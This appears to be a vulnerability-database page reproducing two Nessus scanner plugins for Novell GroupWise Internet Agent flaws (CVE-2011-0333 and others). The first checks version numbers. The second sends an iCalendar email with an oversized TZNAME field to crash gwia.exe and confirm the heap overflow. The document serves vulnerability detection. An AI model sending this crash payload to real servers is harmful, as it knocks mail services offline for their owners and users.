Vulnerabilities > CVE-2011-0333 - Buffer Errors vulnerability in Novell Groupwise 8.0

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(56385);
  script_version("1.8");
  script_cvs_date("Date: 2018/11/15 20:50:27");
 
  script_cve_id(
    "CVE-2011-0333",
    "CVE-2011-0334",
    "CVE-2011-2218",
    "CVE-2011-2219",
    "CVE-2011-2662",
    "CVE-2011-2663"
  );
  script_bugtraq_id(49774, 49775, 49777, 49779, 49781);

  script_name(english:"GroupWise Internet Agent < 8.0.2 HP3 Multiple Vulnerabilities");
  script_summary(english:"Checks GWIA version");
 
  script_set_attribute(attribute:"synopsis", value:
"The remote Windows host has an application that is affected by
multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The version of Novell GroupWise Internet Agent running on the remote
host is earlier than 8.0.2 HP3.  Such versions are potentially
affected by multiple issues :

  - Multiple denial of service issues exist because the
    application does not adequately verify user-supplied 
    inputs. (CVE-2011-2218, CVE-2011-2219)

  - A stack-based buffer overflow exists because the 
    application fails to perform adequate boundary checks on
    user-supplied data. (CVE-2011-0334)

  - A remote code execution vulnerability exists in the 
    GroupWise Internet Agent Yearly RRULE variable.
    (CVE-2011-2663)
    
  - A remote code execution vulnerability exists due to the
    way the application parses the time zone description 
    (TZNAME) variable within a received VCALENDAR message.
    (CVE-2011-0333)
    
  - A remote code execution vulnerability exists due to the
    way the application parses the weekly calendar 
    recurrence (RRULE) variable within a received VCALENDAR
    message. (CVE-2011-2662)");

   # http://www.novell.com/support/kb/doc.php?id=7006378
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?5c0a7f23");
   # http://www.novell.com/support/kb/doc.php?id=7009210
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?cb2ae5ca");
   # http://www.novell.com/support/kb/doc.php?id=7009216
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?96f7e22e");
   # http://www.novell.com/support/kb/doc.php?id=7009208
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8f078d7e");
   # http://www.novell.com/support/kb/doc.php?id=7009215
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?c2967b20");
  script_set_attribute(attribute:"see_also", value:"https://secuniaresearch.flexerasoftware.com/secunia_research/2011-66/");
  script_set_attribute(attribute:"see_also", value:"https://secuniaresearch.flexerasoftware.com/secunia_research/2011-67/");
  script_set_attribute(attribute:"solution", value:
"Update GWIA to version 8.0.2 Hot Patch 3 or later.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/09/26");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/09/26");
  script_set_attribute(attribute:"plugin_publication_date", value:"2011/10/04");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:novell:groupwise");
  script_end_attributes();
 
  script_category(ACT_GATHER_INFO);
  script_family(english:"Windows");

  script_copyright(english:"This script is Copyright (C) 2011-2018 Tenable Network Security, Inc.");

  script_dependencies("smb_enum_services.nasl", "groupwise_ia_detect.nasl");
  script_require_keys("SMB/GWIA/Version");

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("smb_func.inc");

# Unless we're paranoid, make sure the service is running.
if (report_paranoia < 2)
{
  status = get_kb_item_or_exit("SMB/svc/GWIA");
  if (status != SERVICE_ACTIVE)
    exit(0, "The GroupWise Internet Agent service is installed but not active.");
}

# Check the version number.
version = get_kb_item_or_exit("SMB/GWIA/Version");
fixed_version = '8.0.2.16933';
if (ver_compare(ver:version, fix:fixed_version) == -1) 
{
  if (report_verbosity > 0)
  {
    path = get_kb_item("SMB/GWIA/Path");
    if (isnull(path)) path = "n/a";

    report =
      '\n  Path              : ' + path +
      '\n  Installed version : ' + version +
      '\n  Fixed version     : ' + fixed_version + '\n';
    security_hole(port:get_kb_item("SMB/transport"), extra:report);
  }
  else security_hole(get_kb_item("SMB/transport"));
}
else exit(0, "GroupWise Internet Agent version "+ version + " is installed and hence is not affected.");

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(56634);
  script_version("1.6");
  script_cvs_date("Date: 2018/11/15 20:50:24");

  script_cve_id("CVE-2011-0333");
  script_bugtraq_id(49774);

  script_name(english:"GroupWise Internet Agent < 8.0.2 HP3 iCalendar TZNAME Property Heap Overflow");
  script_summary(english:"Tries to kill the Internet Agent (gwia.exe)");

  script_set_attribute(attribute:"synopsis", value:
"The remote host has an email application that is affected by a heap
overflow vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Novell GroupWise Internet Agent hosted on the remote
computer is earlier than 8.0.2 HP3. Such versions are potentially
affected by a heap overflow vulnerability due to the way the
application parses the TZNAME property of the VTIMEZONE component
within a received VCALENDAR message. Successful exploitation could
result in remote code execution.

This script tries to send a VCALENDAR message with a large TZNAME
property value in an attempt to crash the Internet Agent (gwia.exe).

Note that when restarting the Internet Agent after a crash, the queued
files under <domain_database_path>\wpgate\GWIA\receive that are
generated as a result of running this script need to be removed.
Otherwise, the service will not restart.

Also note that the iCal service has to be enabled (the '/imip' setting
in 'gwia.cfg') for this vulnerability to be triggered.

Further note that this install of Group GroupWise Internet Agent is
also likely affected by other vulnerabilities, but this plugin does
not test for them.");
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8f078d7e");
  script_set_attribute(attribute:"see_also", value:"https://secuniaresearch.flexerasoftware.com/secunia_research/2011-66/");
  script_set_attribute(attribute:"see_also", value:"https://secuniaresearch.flexerasoftware.com/advisories/43513");
  script_set_attribute(attribute:"solution", value:"Update GWIA to version 8.0.2 Hot Patch 3 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/09/26");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/09/26");
  script_set_attribute(attribute:"plugin_publication_date", value:"2011/10/25");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:novell:groupwise");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_family(english:"SMTP problems");
  script_copyright(english:"This script is Copyright (C) 2011-2018 Tenable Network Security, Inc.");

  script_dependencies("smtpserver_detect.nasl");
  script_require_keys("Settings/ParanoidReport");
  script_require_ports("Services/smtp", 25);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("smtp_func.inc");

##
# check if a non-GroupWise SMTP server is listening on a port
#
# @port   - SMTP port
# @return - TRUE if it's a non-GroupWise SMTP server
#           FALSE if it's a GroupWise SMTP server or cannot determine
#
##
function is_non_groupwise_smtp_server(port)
{
  local_var list, server;

  # some non-GroupWise SMTP servers
  list = make_list('sendmail', 'postfix', 'qmail', 'firewall-1', 'exim', 'domino',
                   'intermail', 'xmail', 'postoffice', 'interscan','microsoft_esmtp_5',
                   '4D','602Pro', 'AnalogX', 'AMOS', 'Abbing', 'ArGoSoft', 'AvMailGate',
                   'Avirt', 'BMR', 'CSMap', 'Canon', 'CommuniGate','ConcentricHost',
                   'Cyberguard','DanDomain','ePOST','ESMTP','Eserv','Eudora','FTGate',
                   'FWMAIL', 'FirstClass', 'Gordano', 'IA', 'IBM', 'IMA', 'IMS',
                   'IMail',  'IntraStore', 'LanSuite', 'M', 'MAILsweeper',
                   'MDaemon', 'MSA', 'MTA', 'Mail', 'MailBot', 'MailShield', 'MailSite',
                   'Mailkeep','Mailmax', 'McAfee','Merak','MessageWall', 'Mi',
                   'WindowsNT', 'Mirapoint', 'Mirapoint','MsgCore','NAVGW','NPlex',
                   'TMail', 'Netscape', 'WebShield', 'WebShielde','Norton', 'Obtuse',
                   'Oracle', 'PP', 'Prioserve','Process','Protofax','Routing',
                   'SLMail','SMTP','SNS', 'SPA','Secure','StrongMail','PostMaster',
                   'Smail','Sugarsoft','TIS','USA','VNWD','VPOP','VaMailArmor',
                   'VisNetic','Weasel','Winmail','WinProxy','eSafe','iMate',
                   'iMail','iPlanet','inFusion','magic','Kerio','MERCUR',
                   'WinRoute','MailMarshal','Mercury','MailMax','AppleMailServer',
                   'InterChange','IMail','SMTPXD','QuickMail','Sun','Mailtraq',
                   'Minesweeper','Stalker','eXtremail','LSMTP','Dimac','VopMail',
                   'Symantec','NetGain','ModusMail','mtmail','PowerMTA','BorderWare',
                   'MailEnable','Dmail','Watchguard','SmarterMail','Courier','Trend',
                   'WinWebMail');


  foreach server (list)
  {
    if (get_kb_item('SMTP/'+port+'/'+server) == TRUE)
      return TRUE;
  }

  return FALSE;
}


if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = get_service(svc:"smtp", default: 25, exit_on_fail: TRUE);
if (get_kb_item('SMTP/'+port+'/broken')) exit(0,'The SMTP server on port '+port+' is broken.');

if(is_non_groupwise_smtp_server(port:port))
  exit(0, 'The SMTP server on port '+port+' does not appear to be GroupWise Internet Agent.');


body =
  'From: nessus\r\n' +
  'To: postmaster\r\n' +
  'Subject: GroupWise Internet Agent iCalendar TZNAME Property Heap Overflow\r\n' +
  'MIME-Version: 1.0\r\n'+
  'Content-Type: text/calendar;method=REQUEST;charset=UTF-8\r\n\r\n' +
  'BEGIN:VCALENDAR\r\n'+
  'VERSION:2.0\r\n'+
  'PRODID:-//Nessus//Nessus//EN\r\n'+
  'BEGIN:VTIMEZONE\r\n' +
  'TZID:US-Eastern\r\n' +
  'LAST-MODIFIED:20110101T000000Z\r\n' +
  'BEGIN:STANDARD\r\n' +
  'DTSTART:20111026T020000\r\n'+
  'RDATE:20111026T020000\r\n'+
  'TZOFFSETFROM:-0400\r\n'+
  'TZOFFSETTO:-0500\r\n' +
  'TZNAME:'+crap(data:'A',length:0x10000)+'\r\n'+
  'END:STANDARD\r\n'+
  'END:VTIMEZONE\r\n'+
  'END:VCALENDAR\r\n';

fromaddr = smtp_from_header();
toaddr = smtp_to_header();

# try to send an iCalendar message to kill the gwia.exe server
if( ! smtp_send_port(port:port, from:fromaddr, to: toaddr, body:body))
  exit(0, 'smtp_send_port() failed.');

# message was queued for further processing, by a different thread.
# wait for the server to die
#
# - Setting the sleep time too low might cause service_is_dead() to be called
#   before the vulnerable code path is run, resulting in a false negative.
#
# - Setting the sleep time too high might also cause a false negative, because
#   the service might have been restarted before service_is_dead() is called.
#
# - If the remote service for some reason is down (e.g., because of power outage)
#   during the sleep interval, the script might produce a false positive.
#
# - Not sure what the optimal sleep time is, because the iCalenadr email message
#   is processed SOME POINT after the message is received. The exact time frame
#   the message gets processed is unpredictable. Sixty seconds sleep time worked
#   during the testing phase, but this plugin will only run in paranoid mode due
#   to the unpredictable nature of the underlying service.
#
#
sleep(60);

# check to see if it's dead
rc = service_is_dead(port:port);

if(rc == 1)
  security_hole(port);
else if(rc == 0)
  exit(0,'The SMTP service listening on port '+port+' does not appear to be affected.');
else
  exit(1,'A timeout occurred while connecting to port '+port+'.');